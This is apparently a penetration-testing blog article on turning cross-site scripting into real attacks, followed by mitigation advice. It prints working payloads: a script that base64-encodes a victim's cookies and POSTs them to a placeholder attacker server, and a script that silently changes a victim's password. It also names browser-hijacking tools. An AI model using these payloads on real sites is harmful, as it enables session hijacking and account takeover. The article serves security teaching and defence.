Vulnerabilities Weaponizing — Cross-site Scripting (XSS)

TL;DR

Weaponizing vulnerabilities involves creating exploits to take advantage of software flaws. For instance, XSS vulnerabilities can be leveraged for session hijacking, where an attacker steals session IDs or sends unauthorized requests. Tools like BeEF and SHVE help exploit these vulnerabilities. To mitigate XSS, adopt a whitelist approach for input validation, encode outputs based on context, implement a Content Security Policy (CSP), and use libraries like DOMPurify to allow only safe HTML tags. Properly securing applications against these threats is crucial for maintaining user safety.

What is the Vulnerability Weaponizing?

Weaponizing vulnerabilities refers to the process of crafting or developing exploits that take advantage of identified vulnerabilities in software or systems. The goal is to create an exploit that can be used to compromise or manipulate the targeted system.

alert(1) Is not an Exploit:

Imagine you are engaged in web penetration testing, and you come across a function, let’s say ‘search.’ Upon submitting an XSS payload such as “<svg/onload=alert(1)>,” you observe that the application reflects your input without proper sanitization. Consequently, the alert() function executes successfully, leading to the detection of the XSS vulnerability.

To capitalize on the XSS vulnerability, one must adopt the mindset of a real-world attacker. Consider how an attacker might leverage XSS, such as:

Extracting user informationStealing session IDs like cookies or tokens (session hijacking)Initiating arbitrary requests on behalf of the user

Numerous exploitation scenarios may come into play, contingent on the application’s functionalities. This article will delve into some of these scenarios.

XSS Exploitation Scenarios

Session Hijacking: Imagine you are testing an application and discover it is vulnerable to XSS. The primary exploitation scenario that should immediately come to mind is Session Hijacking. In this scenario, the initial step involves extracting the victim’s session ID, whether it be a cookie or token. Subsequently, this session ID is forwarded to our server, enabling us to utilize it to access the application.

The following script will extract the session cookies and encode them using the ‘getCookies’ function and then send them to our server.

function getCookies(){
return btoa(document.cookie)
}

window.onload = function () {
var xhttp = new XMLHttpRequest();
xhttp.open("POST", "https://your-server.com/endpoint", true);
xhttp.send("data=" + getCookies());
}

Example:

The following form is vulnerable to XSS. Injecting this payload will load the exploit code from our server. After any user visits the vulnerable page, the payload will be executed.

Here is the payload we discussed previously. After execution, it will send a base64-encoded cookie to ‘https://exfiltrate.free.beeceptor.com.'

As illustrated in the following screenshot, we received the data via a POST request.

after decoding it, it appears that the encoded data is the ‘session’ cookie

Sending Arbitrary Requests: Sometimes, you may not be able to steal the user’s session ID because the developer has implemented the ‘httpOnly’ flag, preventing JavaScript from accessing the cookie. In such cases, you will need to send requests on behalf of the users. For example, you can modify the user’s email, mobile number, or password, potentially leading to a full account takeover.

Session hijacking vs Account Takeover

When stealing cookies using XSS, you have now hijacked the session, granting you access to the account until the session expires. However, when you have the credentials, you now have full control over the account.

To send a request, you need to know the endpoint you want to interact with, the methods this endpoint accepts, and the parameters it accepts.

suppose the endpoint is ‘/change-password’ and the method is ‘POST’ and the MIME type is JSON

POST /change-password HTTP/1.1
Host: example.com
User-Agent: browser
Cookie: auth=<random>
Content-Type: application/json

{"password": "p@ss1337"}

Your XSS payload will look like this. When the following function is executed, it will send a request to the ‘/change-password’ endpoint, and the victim’s password will be changed.

window.onload = function () {
var new_password = {
password: "p@ss1337"
}

var xhttp = new XMLHttpRequest();
xhttp.open("POST", "https://example.com/change-password", true);
xhttp.setRequestHeader("Contest-Type", "application/json")
xhttp.send(JSON.stringify(new_password));
}

Example:

Look at the following request; it’s a ‘change-email’ endpoint that accepts POST requests with the content type ‘application/x-www-form-urlencoded.’ It requires two parameters: ‘email’ for the new email and ‘csrf’ for the CSRF token that protects the website from CSRF attacks.

The following code will be executed after the window finishes loading. It will send the new email and the CSRF token to the ‘/change-email’ endpoint after extracting them from the page.

As illustrated in the following screenshot, the email has been changed to ‘mail@hacker.com.

XSS Exploitation Tools

1- Browser Exploitation Framework (BeEF): an open-source penetration testing tool that focuses on exploiting web browsers. Developed in Ruby, BeEF is designed to assess the security of a target by using client-side attacks, particularly targeting the vulnerabilities and weaknesses present in web browsers.

2- Session Hijacking Visual Exploitation (SHVE): an open-source tool that offers a novel way to hijack a victim’s browser sessions, utilizing them as a visual proxy after hooking via an XSS or a malicious webpage.

How to Mitigate XSS?

To effectively mitigate XSS risks, it is advisable to adopt a whitelist approach over blacklisting. Consider the following practices to enhance security:

Validate User Input: Before storing any user input, implement robust validation. For instance, if an input field is intended for integers, restrict input to only numeric values, rejecting or stripping any extraneous characters.URL Input Handling: When dealing with user input that involves URLs reflected in responses, opt for validating against a list of safe URL schemes (e.g., http and https) instead of relying on a blacklist to identify and block unsafe schemes like javascript and data.Context-Based Output Encoding: Encode output based on the specific context, whether it’s within JavaScript or HTML. This ensures that user-generated content doesn’t inadvertently trigger malicious scripts.Implement Content Security Policy (CSP): Utilize CSP to exert control over the origins from which the browser loads and executes resources. This significantly minimizes the potential impact of XSS vulnerabilities by restricting unauthorized resource loading.HTML Tag Allowance: In certain contexts, such as blogging websites or rich text editors, there may be a need to permit specific HTML tags. Employing libraries like DOMPurify enables selective allowance of designated tags while maintaining security.

By incorporating these measures, developers can fortify their applications against XSS threats, fostering a more secure online environment.